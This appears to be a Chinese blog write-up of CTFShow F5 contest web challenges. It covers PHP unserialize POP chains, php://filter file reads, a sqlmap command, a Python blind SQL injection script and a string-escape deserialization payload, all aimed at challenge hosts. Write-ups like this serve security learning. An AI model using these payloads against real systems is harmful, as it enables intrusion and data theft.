2022年12月3日16:26:07评论25 views字数 8683阅读28分56秒阅读模式

[huayang]

eazy-unserialize

<?php
include "mysqlDb.class.php";
class ctfshow{
    public $method;
    public $args;
    public $cursor;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
        $this->getCursor();
    }
    function getCursor(){
        global $DEBUG;
        if (!$this->cursor)
            $this->cursor = MySql::getInstance();
        if ($DEBUG) {
            $sql = "DROP TABLE IF  EXISTS  USERINFO";
            $this->cursor->Exec($sql);
            $sql = "CREATE TABLE IF NOT EXISTS USERINFO (username VARCHAR(64),
            password VARCHAR(64),role VARCHAR(256)) CHARACTER SET utf8";
            $this->cursor->Exec($sql);
            $sql = "INSERT INTO USERINFO VALUES ('CTFSHOW', 'CTFSHOW', 'admin'), ('HHD', 'HXD', 'user')";
            $this->cursor->Exec($sql);
        }
    }
    function login() {
        list($username, $password) = func_get_args();
        $sql = sprintf("SELECT * FROM USERINFO WHERE username='%s' AND password='%s'", $username, md5($password));
        $obj = $this->cursor->getRow($sql);
        $data = $obj['role'];
        if ( $data != null ) {
            define('Happy', TRUE);
            $this->loadData($data);
        }
        else {
            $this->byebye("sorry!");
        }
    }
    function closeCursor(){
        $this->cursor = MySql::destroyInstance();
    }
    function lookme() {
        highlight_file(__FILE__);
    }
    function loadData($data) {
        if (substr($data, 0, 2) !== 'O:') {
            return unserialize($data);
        }
        return null;
    }
    function __destruct() {
        $this->getCursor();
        if (in_array($this->method, array("login", "lookme"))) {
            @call_user_func_array(array($this, $this->method), $this->args);
        }
        else {
            $this->byebye("fuc***** hacker ?");
        }
        $this->closeCursor();
    }
    function byebye($msg) {
        $this->closeCursor();
        header("Content-Type: application/json");
        die( json_encode( array("msg"=> $msg) ) );
    }
}
class Happy{
    public $file='flag.php';
    function __destruct(){
        if(!empty($this->file)) {
            include $this->file;
        }
    }
}
function ezwaf($data){
    if (preg_match("/ctfshow/",$data)){
        die("Hacker !!!");
    }
    return $data;
}
if(isset($_GET["w_a_n"])) {
    @unserialize(ezwaf($_GET["w_a_n"]));
} else {
    new CTFSHOW("lookme", array());
}

一道极其简单的序列化

前面很多都是烟雾弹，重点在这里

意思直接构造这个Happy这个类就行了

标准形式应该从ctfshow类打下来

但后面的有个waf

其实也是可以绕的但不知咋的访问不了显示“拒绝访问“

过于简单就不说pop了

exp

<?php
class Happy
{
    public $file = 'php://filter/convert.base64-encode/resource=flag.php';
}
echo urlencode(serialize(new Happy()));

这里直接使用file是读不出来的（读出来的师傅说方法呀）

在根目录

这里就可以直接使用file进行读取

<?php
class Happy
{
    public $file = 'file:///flag';
}
echo urlencode(serialize(new Happy()));

eazy-unserialize-revenge

同上

迷惑行为大赏之盲注

进入首页有个忘记密码

点开来康康

当我们输入弱口令admin时

直接说了吧，这不是弱口令

就一sql盲注

先sql打一梭子

通过抓包得知传参为post的username所以sqlmap要设置为post传餐

因为有@符号所以必须加``同时“在shell里面的反引号有特殊作用所以sqlmap只能在win环境下跑

py sqlmap.py -u http://7599bb21-570e-4063-aaf2-3d8e016a1d4a.challenge.ctf.show:8080/forgot.php --data=username=1 -D 测试 -T 15665611612 -C `what@you@want` --dump --batch

再上个师傅写的脚本

import requests
url = 'http://330fde83-d99c-42cc-93c1-29464cecbc89.challenge.ctf.show:8080/forgot.php'
s = 0
for x in range(1, 500):
    data = {
        # 'username': "admin'AND 1=(length((select group_concat(table_name) from information_schema.tables where table_schema='mysql'))={})#".format(x)
        # 'username': "admin'AND 1=(length((Select group_concat(column_name) From information_schema.columns Where table_schema=database() AND table_name='user'))={})#".format(x)
        # 'username': "admin'AND 1=(length((Select group_concat(flagnothere) from user))={})#".format(x)
        # 'username': "admin'AND 1=(length((Select group_concat(passw0rd) from user))={})#".format(x)
        # 'username': "admin'AND 1=(length((select group_concat(schema_name) from information_schema.schemata))={})#".format(x)
        # 1.获得数据库
        # 'username': "admin'AND 1=(length((select HEX(group_concat(schema_name)) from information_schema.schemata))={})#".format(x)
        # 2.获得表名
        # 'username': "admin'AND 1=(length((select group_concat(table_name) from information_schema.tables where table_schema=substr((select group_concat(schema_name) from information_schema.schemata),35,2)))={})#".format(x)
        # 3.获得列名
        # 'username': "admin'AND 1=(length((select group_concat(column_name) From information_schema.columns where table_schema=substr((select group_concat(schema_name) from information_schema.schemata),35,2) AND table_name='15665611612'))={})#".format(x)
        # 4.获得内容，因为有@关键字符，用``反引号括起来
        'username': "admin'AND 1=(length((Select HEX(group_concat(`what@you@want`)) from 测试.15665611612))={})#".format(
            x)
    }
    res = requests.post(url=url, data=data)
    if " :P" in res.text:
        s = x + 1
        break
print(s)
flag = ''
for i in range(1, s):
    for j in range(34, 255):
        data = {
            # 'username':"admin'AND 1=(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='mysql'),{},1))={})#".format(i,j)
            # 'username': "admin'AND 1=(ascii(substr((Select group_concat(column_name) From information_schema.columns Where table_schema=database() AND table_name='user'),{},1))={})#".format(i, j)
            # 'username': "admin'AND 1=(ascii(substr((Select group_concat(flagnothere) from user),{},1))={})#".format(i, j)
            # 'username': "admin'AND 1=(ascii(substr((Select group_concat(passw0rd) from user),{},1))={})#".format(i, j)
            # 'username': "admin'AND 1=(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{},1))={})#".format(i, j)
            # 1.获得数据库
            # 'username': "admin'AND 1=(ascii(substr((select HEX(group_concat(schema_name)) from information_schema.schemata),{},1))={})#".format(i, j)
            # 2.获得表名
            # 'username': "admin'AND 1=(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=substr((select group_concat(schema_name) from information_schema.schemata),35,2)),{},1))={})#".format(i, j)
            # 3.获得列名
            # 'username': "admin'AND 1=(ascii(substr((select group_concat(column_name) From information_schema.columns where table_schema=substr((select group_concat(schema_name) from information_schema.schemata),35,2) AND table_name='15665611612'),{},1))={})#".format(i, j)
            # 4.获得内容，因为有@关键字符，用``反引号括起来
            'username': "admin'AND 1=(ascii(substr((Select HEX(group_concat(`what@you@want`)) from `测试`.`15665611612`),{},1))={})#".format(
                i, j)
            # 十六进制转字符串(含中文)的在线解码网址:http://www.bejson.com/convert/ox2str/
        }
        res = requests.post(url=url, data=data)
        # print res.text
        if "P" in res.text:
            flag += chr(j)
            break
    print(flag)
    # print str(i) + flag

Web逃离计划

过于生艹

首先进去是个弱口令

简单的爆一下

user：admin
passwd：admin888

登陆成功后进入源代码

有个php文件进去康康

<?php
error_reporting(0);
if ($_GET['file']){
    $filename = $_GET['file'];
    if ($filename=='logo.png'){
        header("Content-Type:image/png");
        echo file_get_contents("./static/img/logo.png");
    }else{
        ini_set('open_basedir','./');
        if ($filename=='hint.php'){
            echo 'nononono!';
        } else{
            if(preg_match('/read|[\x00-\x2c]| |flag|\.\.|\.\//i', $filename)){
                echo "hacker";
            }else{
                include($filename);
            }
        }
    }
}else{
    highlight_file(__FILE__);
}

看见file_get_contents就是波伪协议

当然，过滤了flag直接读不现实

代码里给了个hint.php的

?file=php://filter/convert.base64-encode/resource=hint.php

给出了三个文件

看见class就知道是序列化

依次读取前两个

ezwaf.php

<?php
function get($data){
    $data = str_replace('forfun', chr(0)."*".chr(0), $data);
    return $data;
}
function checkData($data){
    if(stristr($data, 'username')!==False&&stristr($data, 'password')!==False){
        die("fuc**** hacker!!!\n");
    }
    else{
        return $data;
    }
}
function checkLogData($data){
    if (preg_match("/register|magic|PersonalFunction/",$data)){
        die("fuc**** hacker!!!!\n");
    }
    else{
        return $data;
    }
}

class.php

<?php
error_reporting(0);
class Login{
    protected $user_name;
    protected $pass_word;
    protected $admin;
    public function __construct($username,$password){
        $this->user_name=$username;
        $this->pass_word=$password;
        if ($this->user_name=='admin'&&$this->pass_word=='admin888'){
            $this->admin = 1;
        }else{
            $this->admin = 0;
        }
    }
    public function checkStatus(){
        return $this->admin;
    }
}
class register{
    protected $username;
    protected $password;
    protected $mobile;
    protected $mdPwd;
    public function __construct($username,$password,$mobile){
        $this->username = $username;
        $this->password = $password;
        $this->mobile = $mobile;
    }
    public function __toString(){
        return $this->mdPwd->pwd;
    }
}
class magic{
    protected $username;
    public function __get($key){
        if ($this->username!=='admin'){
            die("what do you do?");
        }
        $this->getFlag($key);
    }
    public function getFlag($key){
        echo $key."</br>";
        system("cat /flagg");
    }
}
class PersonalFunction{
    protected $username;
    protected $password;
    protected $func = array();
    public function __construct($username, $password,$func = "personalData"){
        $this->username = $username;
        $this->password = $password;
        $this->func[$func] = true;
    }
    public function checkFunction(array $funcBars) {
        $retData = null;
        $personalProperties = array_flip([
            'modifyPwd', 'InvitationCode',
            'modifyAvatar', 'personalData',
        ]);
        foreach ($personalProperties as $item => $num){
            foreach ($funcBars as $funcBar => $stat) {
                if (stristr($stat,$item)){
                    $retData = true;
                }
            }
        }
        return $retData;
    }
    public function doFunction($function){
        // TODO: 出题人提示：一个未完成的功能，不用管这个，单纯为了逻辑严密.
        return true;
    }
    public function __destruct(){
        $retData = $this->checkFunction($this->func);
        $this->doFunction($retData);
    }
}

告辞

pop都找不到

贴个师傅们的wp

https://www.shangmayuan.com/a/3ed8c7365588479a83c58b9a.html

http://www.xl-bit.cn/index.php/CTFshow/127.html

exp

username=forfunforfunforfunforfunforfunforfunforfunforfunforfunforfunforfun&password=aaaa";S:12:"\00*\00pass_word";O:16:"personalFunction":3:{S:11:"\00*\00\75\73ername";S:4:"atao";S:11:"\00*\00\70\61ssword";S:6:"123456";S:7:"\00*\00func";a:1:{i:0;O:8:"Register":4:{S:11:"\00*\00\75\73ername";S:4:"atao";S:11:"\00*\00\70\61ssword";S:6:"123456";S:9:"\00*\00mobile";S:1:"1";S:8:"\00*\00mdPwd";O:5:"Magic":1:{S:11:"\00*\00\75\73ername";S:5:"admin";}}}};s:5:"admin

[/huayang]

FROM：浅浅淡淡[hellohy]

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。

左青龙
微信扫一扫

右白虎
微信扫一扫

【原创】CTFShow—F5杯（web篇）

eazy-unserialize

eazy-unserialize-revenge

迷惑行为大赏之盲注

Web逃离计划

综述合辑 | 《网络空间安全科学学报》综述论文（上）

通达OA 任意用户登录漏洞

Weblogic IIOP 反序列化漏洞学习笔记(CVE-2020-2551)

Python 定制QQ机器人

RocketMQ 5.1.1写计划任务RCE

Nacos Raft Hessian反序列化漏洞分析

Tabby学习笔记 & Java反序列化gadget分析

Apache Jena 代码执行漏洞(CVE-2023-22665)

Apache Archiva 任意目录删除(CVE-2022-40309) 和任意文件读取(CVE-2022-40308)

用CodeQL分析漏洞_CVE-2022-42889

发表评论

在线咨询

微信